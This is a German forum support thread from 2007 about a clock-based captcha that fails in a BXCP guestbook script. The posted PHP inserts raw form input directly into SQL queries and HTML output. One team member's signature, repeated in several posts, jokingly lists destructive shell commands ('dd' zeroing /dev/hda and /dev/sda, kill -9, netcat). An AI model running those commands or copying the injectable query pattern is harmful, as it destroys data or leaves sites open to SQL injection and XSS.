News - Features - Downloads - Forum - Team - Support - Switch View: Screen
Login - Registrierung - Passwort vergessen

Antworten: 20
Seite [1]
City17


Beginner




Beiträge: 8
# Thema - 30.04.2007 um 13:57 Uhr
Hallo zusammen,
ich versuche zur Zeit ein Captcha im gbook zu installieren (BXCP 0.2.9.9 R6).
Ich habe soweit auch schon den Code eingefügt und eigentlich müsste auch alles gehen.
Das Problem ist : Wenn ich versuche ,ohne einzuloggen, einen Eintrag zu schreiben, funktioniert es nicht. Es wird dann immer der Fehler ausgegeben obwohl die Eingabe des Sicherheitscodes eigentlich stimmt.
Wenn ich aber angemeldet bin, dann funktioniert alles.
Ich schreibe euch einfach mal den Code, vielleicht hat ja jemand ne Ahnung wo der Fehler liegen könnte.
Komisch finde ich halt nur, dass alles funktioniert, wenn ich eingeloggt bin, egal mit welchem access, und, wenn nicht eingeloggt, immer der Fehler kommt. Ich habe das Gefühl, dass die session solution im nichteingeloggten Zustand gesperrt ist, da bei dieser Zeile
 
1.
1. / 2. / ... 
 echo $_SESSION['solution']. "==" .$_POST['clockhour'].":".$_POST['clockmin'];
die Lösung nicht angezeit wird, aber wenn ich eingeloggt bin schon.

Code der gbookadd.php:

 
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
1. / 2. / ... 
<table style="width:90%" border="0" cellspacing="1" cellpadding="0" class="forum">
<tr><td class="headb">Gästebuch</td></tr><tr><td class="leftc">
<?php session_start(); $nick=$_POST["nick"]; $place=$_POST["place"]; $icq=$_POST["icq"];
$email=$_POST["email"]; $website=$_POST["website"]; $clockhour=$_POST["clockhour"]; $clockmin=$_POST["clockmin"] ;$text=$_POST["text"]; 
if(empty(
$nick) AND empty($email) AND empty($place) AND empty($icq) AND empty($website) AND empty($clockhour) AND empty($clockmin) AND empty($text)) { ?>
Füllen Sie bitte mindestens die Felder Nick, Email, Uhrzeit und Text ausreichend aus.
<?php } else { $error=0;
if (empty(
$clockhour)) { $error++; 
$msg="- Keine Uhrzeit eingegeben<br />"; }
if (empty(
$clockmin)) { $error++; 
$msg="- Keine Uhrzeit eingegeben<br />"; }
if (empty(
$nick)) { $error++; 
$msg="- Kein Nick eingegeben<br />"; }
if (empty(
$email)) { $error++; 
$msg="$msg - Keine Email-Adresse eingegeben<br />"; } else {
$pattern "=^[_a-z0-9-]+(\.[_a-z0-9-]+)*@([0-9a-z](-?[0-9a-z])*\.)+[a-z]{2}([zmuvtg]|fo|me)?$=i";
if (!
preg_match ($pattern,$email)) { $error++;
$msg="$msg - Die Email-Adresse ist ungültig<br />"; } }
if (empty(
$text)) { $error++; 
$msg="$msg - Kein Text eingegeben<br />"; }
$sql7="SELECT ip,date FROM gbook WHERE ip='$ip' ORDER BY date DESC LIMIT 1";
$findme=mysql_query($sql7$db);
while (
$oldadd mysql_fetch_object ($findme)) { $olddate=$time 86400;
if(
$olddate<=$oldadd->date) { $error++; $msg="$msg - Letzter Eintrag liegt weniger als 24 Stunden zurück<br />"; } }
if (
$_SESSION['solution']!= intval($_POST['clockhour']).":".$_POST['clockmin']) 
$error++; 
$msg="$msg - Falsche Uhrzeit eingegeben<br />"; } 
echo 
$_SESSION['solution']. "==" .$_POST['clockhour'].":".$_POST['clockmin']; 
 if(
$error!=0) { print "Folgende Fehler sind aufgetreten:<br /><br /> $msg"; }
if (
$error==0) {
print 
"Ihr Eintrag wurde erfolgreich gespeichert."
$add="INSERT INTO gbook (nick, place, email, icq, url, text, date, ip) VALUES ('$nick', '$place', '$email', '$icq', '$website', '$text', '$time', '$ip')";
$sqlaction=mysql_query($add); } } ?>
</td></tr></table>
<?php if(empty($nick) OR empty($email) OR $error!=0) {
if(empty(
$error) AND !empty($myid)) {
$sql7="SELECT * FROM users WHERE id='$myid'";
$fetch=mysql_query($sql7$db);
while (
$users mysql_fetch_object ($fetch)) { 
$nick=$users->nick$place=$users->place$icq=$users->icq
$email=$users->email$website=$users->webpage; } } 
if(empty(
$icq)) { $icq=''; } ?>
<br /><table style="width:90%" border="0" cellspacing="1" cellpadding="0" class="forum">
<form method="post" action="index.php?show=gbookadd"><input type="hidden" name="phpMyAdmin" value="a7d6a530ea7fe797a049ba44b388371f" />
<tr><td style="width:120px" class="leftc">Nick</td><td class="leftb">
<input type="text" name="nick" class="form" maxlength="20" size="20" value="<?php echo $nick?>" />
</td></tr><tr><td class="leftc">Wohnort</td><td class="leftb">
<input type="text" name="place" class="form" maxlength="200" size="50" value="<?php echo $place?>" />
</td></tr><tr><td class="leftc">ICQ</td><td class="leftb">
<input type="text" name="icq" class="form" maxlength="15" size="15" value="<?php echo $icq?>" />
</td></tr><tr><td class="leftc">Email</td><td class="leftb">
<input type="text" name="email" class="form" size="50" maxlength="200" value="<?php echo $email?>" />
</td></tr><tr><td class="leftc">Website</td><td class="leftb">http:// 
<input type="text" name="website" class="form" maxlength="200" size="40" value="<?php echo $website?>" />
</td></tr><tr><td class="leftc">Text<br /><br />
<a href="#" onclick="window.open('system/features.php', 'Features','width=450,height=600,scrollbars=yes')">
Features</a> 
</td><td class="leftb">
<textarea name="text" class="form" cols="50" rows="10"><?php echo $text?></textarea>
</td></tr><tr>
  <td class="leftc">Sicherheitscode</td><td class="leftb">
<p align="center"><img src="show/clockcaptcha.php" border="0" alt="clockcaptcha" onClick="javascript:this.src='show/clockcaptcha.php?'+Math.random();"/>  </p>
  <p align="center">Es ist 
    <input name="clockhour" type="text" size="3"/>
    :
    <input type="text" name="clockmin" size="3" />
    Uhr
 </p></td></tr>
<tr>
  <td class="leftc">Optionen</td>
  <td class="leftb">
    <div align="left">
      <input type="submit" class="form" name="submit" value="Absenden" />
      <input type="reset" class="form" name="reset" value="Nochmal" />
      </div></td>
</tr>
</form></table>
<?php } else { ?>
<br /><table style="width:90%" border="0" cellspacing="1" cellpadding="0" class="forum">
<tr><td class="centerb">
<a href="index.php?show=gbook&phpMyAdmin=a7d6a530ea7fe797a049ba44b388371f">Weiter</a>
</td></tr></table>
<?php ?>


Vielen Dank für eure Hilfe

MFG
CyRuS (city17server)
Inaktiv
pHaeno* ClanSphere Team


Geekboy





Beiträge: 1405
# Antwort: 1 - 01.05.2007 um 01:55 Uhr
Du solltest erstmal hier: http://www.city17server.de/ das About richtig verlinken bevor du hier nach Hilfe fragst!


------------------
hajo says:
<div style="imbaness: 200pt; skill: 200pt; equip-align: top;">phaeno's mage</div>


27.05.2007 um 01:38 Uhr - pHaeno*:
Bei Clansphere gibt es KEINE Bugs, es sind ALLES FEATURES



weichmann... +-
Blondi (15:08):
bist du nen mann oder nen weich ei?


pHaeno* (15:09):
weichmann


mehr... +-
if($ahnung==0) {
read( 'handbuch' ) ;
}



## für Linux-Fans

kill -9 `netstat -a | grep https | awk -e '{ print $3; }'`
dd if=/dev/zero of=/dev/hda count=1M
dd if=/dev/zero of=/dev/sda count=1M
cat /dev/urandom | nc 127.0.0.1 443


Inaktiv
|
City17
Thread-Ersteller


Beginner




Beiträge: 8
# Antwort: 2 - 01.05.2007 um 11:32 Uhr
Ich hätte mir mehr Hilfe erhofft und nicht solche Beiträge.

Außerdem ist das about richtig verlinkt, was soll ich denn sonst verlinken ?
Wenn irgendwas daran falsch sein sollte, musste mir schon genaueres sagen.

Back to Topic: Weiß denn keiner woran der Fehler liegen könnte ?


Inaktiv
|
SCHIRI ClanSphere Team


Weltmeister



Herkunft: Hamburg
Beiträge: 5299
# Antwort: 3 - 01.05.2007 um 11:39 Uhr
irgentjemand hat mal gesagt:

kein about -> kein support

und ich hätte mir erhofft, dass man eine lizenz, der man zu stimmt, auch liest.
denn das about muss in der main-navigation plaziert werden und nicht im footer.


------------------
www.laszlokorte.de

Inaktiv
|
City17
Thread-Ersteller


Beginner




Beiträge: 8
# Antwort: 4 - 01.05.2007 um 12:01 Uhr
Ich hab das about jetzt in die Main-Navi gelegt, hoffe dass es so richtig ist. Sorry, aber ich dachte man kann das About hinsetzen wo man will, es muss nur ein gut sichtbarer Link sein. Habe das keinesfalls mit Absicht gemacht.

So, hoffe nun, dass mir jetzt einer helfen will und auch kann.


Inaktiv
|
pHaeno* ClanSphere Team


Geekboy





Beiträge: 1405
# Antwort: 5 - 02.05.2007 um 13:21 Uhr
01.05.2007 um 11:39 Uhr - SCHIRI:
irgentjemand hat mal gesagt:

kein about -> kein support

und ich hätte mir erhofft, dass man eine lizenz, der man zu stimmt, auch liest.
denn das about muss in der main-navigation plaziert werden und nicht im footer.



Muss ich dir voll und ganz zustimmen.
Man kann kein Produkt benutzen und sich nicht an die Lzenz halten. Dafür gibt es solche Dinger eben.

So. Warum willst du denn für das alte BXCP ein Captcha schreiben / benutzen wenn du bereits unsere neue Version benutzt. Steige da nicht so ganz durch.


------------------
hajo says:
<div style="imbaness: 200pt; skill: 200pt; equip-align: top;">phaeno's mage</div>


27.05.2007 um 01:38 Uhr - pHaeno*:
Bei Clansphere gibt es KEINE Bugs, es sind ALLES FEATURES



weichmann... +-
Blondi (15:08):
bist du nen mann oder nen weich ei?


pHaeno* (15:09):
weichmann


mehr... +-
if($ahnung==0) {
read( 'handbuch' ) ;
}



## für Linux-Fans

kill -9 `netstat -a | grep https | awk -e '{ print $3; }'`
dd if=/dev/zero of=/dev/hda count=1M
dd if=/dev/zero of=/dev/sda count=1M
cat /dev/urandom | nc 127.0.0.1 443


Inaktiv
|
City17
Thread-Ersteller


Beginner




Beiträge: 8
# Antwort: 6 - 02.05.2007 um 19:49 Uhr
Ja pHaeno ich habs jetzt verstanden, du brauchst jetzt nicht darauf rumhacken,
es war keine absicht, sorry. Jeder macht mal einen Fehler oder bist du etwa perfekt ?
Ich habe den Fehler gleich korrigiert und ich werde auch andere fehler korrigieren,
wenn man mit mir normal und anständig redet und mich nicht gleich als Straftäter abstempelt.

So, nun zum eigentlichen Thema: Ich habe zwar auf meiner Page das neue Clansphere
installiert, mein Kumpel benutzt aber noch BXCP 0.2.9.9 R6 und findet im Moment viel Spam
in seinem Gästebuch. Er hat mich halt gefragt, ob ich ihm so ein Captcha installieren kann und
ich habe Gedacht, dass mir hier vielleicht jemand helfen würde, weil ich nicht mehr weiter weiß.
Statdessen bekomme ich nur Anschuldigungen und werde hier mehr oder weniger fertig gemacht
und als Verbrecher dargestellt. So habe ich mir das eigentlich nicht vorgestellt, denn früher wurde
mir hier immer geholfen. Das war allerdings noch zu BXCP 0.2 Zeiten und diese Zeiten haben
sich anscheinend extrem geändert und mit ihr vielleicht auch viele Member und User. Tut mir sehr leid,
dass ich überhaupt irgendwas ins Forum geschrieben hab !

Ich würde mich natürlich weiterhin freuen wenn doch noch jemand einen konstruktiven Beitrag leisten
könnte und mir zumindest einen Tip geben kann, denn es sind bestimmt einige Coder hier im Forum
aktiv und für die wäre das mit Sicherheit eine Kleinigkeit. Danke im Voraus !


Inaktiv
|
h4ze


Geekboy




Herkunft: Itzehoe
Beiträge: 1433
# Antwort: 7 - 02.05.2007 um 20:12 Uhr
jaaa...

also ich hab den code nicht gelesen, aber die problematik eines captchas ist meines wissens nach, dass der random ausgegebene code im captcha _nach_ dem senden der nächsten seite zum vergleich zur verfügung stehen muss. du kannst es einfach machen, indem du ihn per hidden übergibst, was aber natürlich auch so manche bots rallen, oder du speicherst ihn zuammen mit der ip in ner db.


------------------
gembee.com - Upload your Life!
A Social Filesharing Network
"Wie YouTube, nur für alle Datei-Typen"


Inaktiv
|
Fr33z3m4n ClanSphere Team


Medal of Honor




Herkunft: Hamm
Beiträge: 11094
# Antwort: 8 - 02.05.2007 um 20:13 Uhr
Vorteilhafter wäre doch auch für deinen Kumpel, aufs aktuelle ClanSphere 2007 upzudaten. Oder was hindert denjenigen daran diese durchzuführen.


------------------
mfg
Patrick "Fr33z3m4n" Jaskulski

Antoine de Saint-Exupéry: Wenn Du ein Schiff bauen willst, so trommle nicht Männer zusammen, um Holz zu beschaffen, Aufgaben zu verteilen, sondern lehre die Männer die Sehnsucht nach dem endlosen weiten Meer.

Zuletzt editiert von Fr33z3m4n ClanSphere Team am 02.05.2007 um 20:13 Uhr (1x Editiert)
Inaktiv
|
City17
Thread-Ersteller


Beginner




Beiträge: 8
# Antwort: 9 - 02.05.2007 um 21:13 Uhr
Das komische ist ja, dass das Captcha im eingeloggten Zustand funktioniert, aber wenn man nicht eingeloggt ist funktioniert es nicht. Wo liegt denn da der Unterschied fürs Gästebuch wenn man eingeloggt ist, denn
ein eintrag kann ja eigentlich jeder machen, auch die, die nicht angemeldet sind. Das verstehe ich eben nicht !
Die Eingabe wird anscheinend nur übermittelt und überprüft, wenn man eingeloggt ist.

@ haze
ich weiß jetzt nicht, ob dein vorschlag hilft, einen versuch wäre es wert, aber wie könnte man sowas anstellen ? ich bin nämlich kein Coder und kenn mich nicht so gut aus.

@ freezeman
er hat einige sachen an der hp geändert und vielleicht gibts dann probleme die datenbank zu übertragen
(hab ich auf jedenfall schonmal gehört).
im prinzip wäre das dann eigentlich der letzte ausweg, der auch mit mehr arbeit verknüpft wäre durch die ganzen anpassungen usw.


Inaktiv
|
Denni


Specialist




Herkunft: Ilsfeld
Beiträge: 1972
# Antwort: 10 - 02.05.2007 um 21:14 Uhr
aber auch der beste weg


------------------
Gruß
Denni

ClanSphere - Makes your website a playmate, just dress her

Inaktiv
|
UnKn0wn ClanSphere Team


Geekboy





Beiträge: 1160
# Antwort: 11 - 02.05.2007 um 21:31 Uhr
Würde einfach einen Button machen der angeklickt werden muss damit der Beitrag geschrieben werden kann.

bsp: Eintrag bestätigen []

Dann laufen die Bots schonmal gegen die Wand!


------------------
Mit freundlichen Grüßen

SEBEL-DESIGN
http://www.sebel-design.com


Inaktiv
|
h4ze


Geekboy




Herkunft: Itzehoe
Beiträge: 1433
# Antwort: 12 - 02.05.2007 um 21:44 Uhr
für ne gewisse zeit würde das sicher helfen. und danach kann man immer nochmal gucken.


------------------
gembee.com - Upload your Life!
A Social Filesharing Network
"Wie YouTube, nur für alle Datei-Typen"


Inaktiv
|
Fr33z3m4n ClanSphere Team


Medal of Honor




Herkunft: Hamm
Beiträge: 11094
# Antwort: 13 - 03.05.2007 um 00:33 Uhr
zeig mal die clockcaptcha.php


------------------
mfg
Patrick "Fr33z3m4n" Jaskulski

Antoine de Saint-Exupéry: Wenn Du ein Schiff bauen willst, so trommle nicht Männer zusammen, um Holz zu beschaffen, Aufgaben zu verteilen, sondern lehre die Männer die Sehnsucht nach dem endlosen weiten Meer.

Inaktiv
|
City17
Thread-Ersteller


Beginner




Beiträge: 8
# Antwort: 14 - 03.05.2007 um 12:25 Uhr
ich hab das Captcha von dieser Seite: http://www.stevescorner.de
In der clockpatcha.php kann eigentlich nix falsch sein, sonst würde es ja überhaupt nicht funktionieren, aber wie gesagt funktioniert es ja im eingeloggten Zustand.
Das mit dem Kästchen zum anklicken kann aber glaub ich auch schon von den Bots umgangen werden, vielleicht werd ich das mal probieren, aber das Captcha würde mir schon besser gefallen und ist auch sicherer.
Wenn jemand Lust hat kann er ja mal selber versuchen das Captcha zu integrieren, vielleicht erkennt er dann die Problematik


Inaktiv
|
TeQu!La ClanSphere Team


Specialist




Herkunft: Grevenbroich
Beiträge: 2142
# Antwort: 15 - 03.05.2007 um 13:11 Uhr
warum nimmst du net das addon für bxcp 0.2 irgend jemand hatte da mal was gebastelt

Preview

Falls interesse besteht kann ich es gerne Hochladen


------------------

ClanSphere - professional clan care starts here


Zuletzt editiert von TeQu!La ClanSphere Team am 03.05.2007 um 13:14 Uhr (1x Editiert)
Inaktiv
|
pHaeno* ClanSphere Team


Geekboy





Beiträge: 1405
# Antwort: 16 - 03.05.2007 um 13:34 Uhr
@TeQu!La:
Wie gut das ich das Addon noch habe.

@city17server:
Wenn du das haben möchtes welches TeQ hier verlinkt hat, dann kannst du mir ja eine M schreiben, dann lade ich das eben für dich hoch.


------------------
hajo says:
<div style="imbaness: 200pt; skill: 200pt; equip-align: top;">phaeno's mage</div>


27.05.2007 um 01:38 Uhr - pHaeno*:
Bei Clansphere gibt es KEINE Bugs, es sind ALLES FEATURES



weichmann... +-
Blondi (15:08):
bist du nen mann oder nen weich ei?


pHaeno* (15:09):
weichmann


mehr... +-
if($ahnung==0) {
read( 'handbuch' ) ;
}



## für Linux-Fans

kill -9 `netstat -a | grep https | awk -e '{ print $3; }'`
dd if=/dev/zero of=/dev/hda count=1M
dd if=/dev/zero of=/dev/sda count=1M
cat /dev/urandom | nc 127.0.0.1 443


Inaktiv
|
City17
Thread-Ersteller


Beginner




Beiträge: 8
# Antwort: 17 - 03.05.2007 um 14:11 Uhr
Wäre echt klasse, wenn das einer hochladen kann. Danke an euch beide (TeQu!La und pHaeno).
Gibt's auch noch andere captcha addons für bxcp 0.2 oder is das das einzige ?

Mich würde natürlich weiterhin die Lösung des Problems interessieren, weil ich das
Clockcaptcha schon gut finde, falls doch noch einer dahinter kommt kann er es ja posten, danke.


Inaktiv
|
pHaeno* ClanSphere Team


Geekboy





Beiträge: 1405
# Antwort: 18 - 03.05.2007 um 21:43 Uhr
@city17server:
Hast nun 24 Stunden Zeit für den Download. Link habe ich dir per PM zugeschickt ^^


------------------
hajo says:
<div style="imbaness: 200pt; skill: 200pt; equip-align: top;">phaeno's mage</div>


27.05.2007 um 01:38 Uhr - pHaeno*:
Bei Clansphere gibt es KEINE Bugs, es sind ALLES FEATURES



weichmann... +-
Blondi (15:08):
bist du nen mann oder nen weich ei?


pHaeno* (15:09):
weichmann


mehr... +-
if($ahnung==0) {
read( 'handbuch' ) ;
}



## für Linux-Fans

kill -9 `netstat -a | grep https | awk -e '{ print $3; }'`
dd if=/dev/zero of=/dev/hda count=1M
dd if=/dev/zero of=/dev/sda count=1M
cat /dev/urandom | nc 127.0.0.1 443


Inaktiv
|
City17
Thread-Ersteller


Beginner




Beiträge: 8
# Antwort: 19 - 04.05.2007 um 13:17 Uhr
Dankeschön pHaeno*


Inaktiv
|
pHaeno* ClanSphere Team


Geekboy





Beiträge: 1405
# Antwort: 20 - 05.05.2007 um 01:21 Uhr
Kein Problem.


------------------
hajo says:
<div style="imbaness: 200pt; skill: 200pt; equip-align: top;">phaeno's mage</div>


27.05.2007 um 01:38 Uhr - pHaeno*:
Bei Clansphere gibt es KEINE Bugs, es sind ALLES FEATURES



weichmann... +-
Blondi (15:08):
bist du nen mann oder nen weich ei?


pHaeno* (15:09):
weichmann


mehr... +-
if($ahnung==0) {
read( 'handbuch' ) ;
}



## für Linux-Fans

kill -9 `netstat -a | grep https | awk -e '{ print $3; }'`
dd if=/dev/zero of=/dev/hda count=1M
dd if=/dev/zero of=/dev/sda count=1M
cat /dev/urandom | nc 127.0.0.1 443


Inaktiv
|
Antworten: 20
Seite [1]


Sie müssen sich registrieren, um zu antworten.


ClanSphere Project - Mailus - Imprint - Disclaimer - Scriptinfo